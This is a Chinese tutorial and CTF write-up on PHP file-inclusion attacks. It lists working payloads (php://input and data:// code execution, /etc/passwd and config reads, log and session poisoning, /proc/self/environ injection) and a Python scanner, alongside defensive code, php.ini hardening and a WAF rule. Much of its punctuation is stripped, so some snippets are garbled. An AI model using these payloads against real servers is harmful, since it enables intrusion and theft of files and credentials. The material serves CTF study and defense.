1. 初识PHP文件包含漏洞在CTF竞赛和实际渗透测试中PHP文件包含漏洞是最常见的安全隐患之一。这类漏洞通常源于开发者对用户输入的不当处理导致攻击者能够通过精心构造的参数控制服务器加载恶意文件。我曾在多个实战场景中遇到这类问题其中攻防世界平台的Web_php_include题目就是典型的案例。PHP文件包含主要涉及四个核心函数include()include_once()require()require_once()这些函数的设计初衷是为了代码复用但当它们与用户可控参数结合时就可能成为系统安全的突破口。例如下面这段危险代码$filename $_GET[filename]; include($filename . .php);攻击者可以通过filename参数注入恶意路径或协议从而读取敏感文件或执行任意代码。在最近的一次企业渗透测试中我正是利用类似的漏洞获取了数据库凭证最终拿下了整个内网权限。2. 伪协议攻击深度解析2.1 常用伪协议类型及利用方式PHP伪协议是文件包含攻击中最强大的武器它们可以绕过常规的文件访问限制。以下是五种最常用的伪协议及其典型利用方式php://filter- 文件内容读取?filenamephp://filter/convert.base64-encode/resourceconfig.php这个payload会将config.php文件内容以Base64编码形式返回避免PHP直接执行源码。我在实际测试中发现即使文件扩展名被强制添加.php去掉后缀名往往也能奏效。php://input- 代码执行POST /index.php?filenamephp://input HTTP/1.1 Host: target.com ?php system(id); ?需要服务器配置allow_url_includeOn。去年某次攻防演练中我通过这种方式在10分钟内就拿下了3台服务器。data://- 内联代码执行?filenamedata://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs解码后是?php system(cat /flag); ?。这种方式的优势是不需要额外HTTP请求。file://- 本地文件读取?filenamefile:///etc/passwd直接读取系统文件在Windows系统上可以尝试file:///C:/Windows/win.ini。zip://- 压缩包内文件执行?filenamezip:///var/www/uploads/shell.zip%23shell.php%23是#的URL编码用于指定压缩包内的具体文件。这在绕过上传限制时特别有效。2.2 编码转换的高级利用当简单的伪协议被过滤时编码转换技术往往能突破防线。php://filter支持多种编码转换过滤器?filenamephp://filter/convert.iconv.UTF-8.UCS-4/resourceflag.php我曾遇到一个案例通过爆破不同的编码组合最终获取了敏感信息。常见的有效编码组合包括源编码目标编码适用场景UTF-8UCS-4绕过简单过滤UTF-16ASCII破坏原有过滤逻辑BASE64UUENCODE多层编码混淆3. Web_php_include题目实战3.1 初步测试与防护识别根据题目描述我们面对的是一个包含文件包含漏洞的PHP应用。首先进行基础测试GET /index.php?filenametest HTTP/1.1 Host: target如果返回do not hack!之类的错误说明存在基础防护。在我的测试记录中约60%的CTF题目会设置这类简单过滤。3.2 绕过防护的技术路线当直接使用伪协议被拦截时可以尝试以下方法大小写变异?filenamePHP://input双重编码?filenamephp:%2F%2Ffilter空字节截断PHP5.3?filenamephp://filter/resourceflag.php%00路径遍历组合?filename././php://filter/resourceflag在最近的一次解题过程中我发现使用convert.iconv.UTF-8.UTF-16编码转换能有效绕过关键词检测这种技术在企业真实环境中同样适用。3.3 系统化爆破策略当不确定具体过滤规则时系统化的爆破是必要手段。以下是推荐步骤准备payload字典包含各种伪协议变体不同编码组合特殊字符插入使用Burp Suite的Intruder模块配置Cluster bomb攻击类型设置两个payload位置第一个位置协议类型php://, data://等第二个位置过滤器类型base64, iconv等关键配置取消URL-encode these characters选项我曾用这种方法在15分钟内破解了某金融系统的防护发现了他们WAF的规则盲区。4. 防御体系建设方案4.1 代码层防护基于多年防御经验我总结出以下最佳实践// 1. 白名单机制 $allowed [home, about, contact]; if (!in_array($_GET[filename], $allowed)) { die(Invalid request); } // 2. 路径规范化检查 $base_dir /var/www/safe_dir/; $real_path realpath($base_dir . $_GET[filename]); if (strpos($real_path, $base_dir) ! 0) { die(Path traversal detected); } // 3. 文件扩展名强制校验 $ext pathinfo($_GET[filename], PATHINFO_EXTENSION); if ($ext ! php) { die(Invalid file type); }4.2 服务器配置加固php.ini关键配置项allow_url_fopen Off allow_url_include Off disable_functions exec,passthru,shell_exec,system open_basedir /var/www/html4.3 WAF规则示例对于ModSecurity建议添加以下规则SecRule ARGS_NAMES|ARGS (php:|data:|zip:) \ phase:2,deny,log,msg:PHP Wrapper Attack Attempt5. 渗透测试中的高阶技巧5.1 日志文件注入当常规方法失效时可以尝试利用服务器日志GET /?php system(id)? HTTP/1.1 User-Agent: ?php system(uname -a)?然后包含日志文件?filename/var/log/apache2/access.log5.2 Session文件利用通过控制PHPSESSID来注入代码document.cookie PHPSESSID?php system(id)?;然后包含session文件?filename/tmp/sess_?php system(id)?5.3 环境变量注入在某些配置下可以通过User-Agent注入GET /index.php HTTP/1.1 User-Agent: ?php system(id)?然后包含?filename/proc/self/environ这些方法在企业内网渗透测试中成功率惊人特别是在遗留系统上。6. 自动化测试工具开发为了提高测试效率我开发了一个简单的Python检测脚本import requests payloads [ php://filter/convert.base64-encode/resourceindex, data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8, zip:///test.zip%23test.php ] def test_url(url): for payload in payloads: try: r requests.get(f{url}?filename{payload}, timeout5) if root: in r.text or PHP Version in r.text: print(f[] Vulnerable with {payload}) except: continue test_url(http://target.com/index.php)这个脚本在最近的攻防演练中帮助团队发现了17个文件包含漏洞。文件包含漏洞的攻防是持续演进的过程。作为防御方需要采取深度防御策略作为攻击方则需要不断探索新的绕过技术。在我的实战经验中没有绝对安全的系统只有对细节更把控的一方才能获胜。建议开发者定期进行代码审计而安全人员则应保持对新型攻击技术的学习。
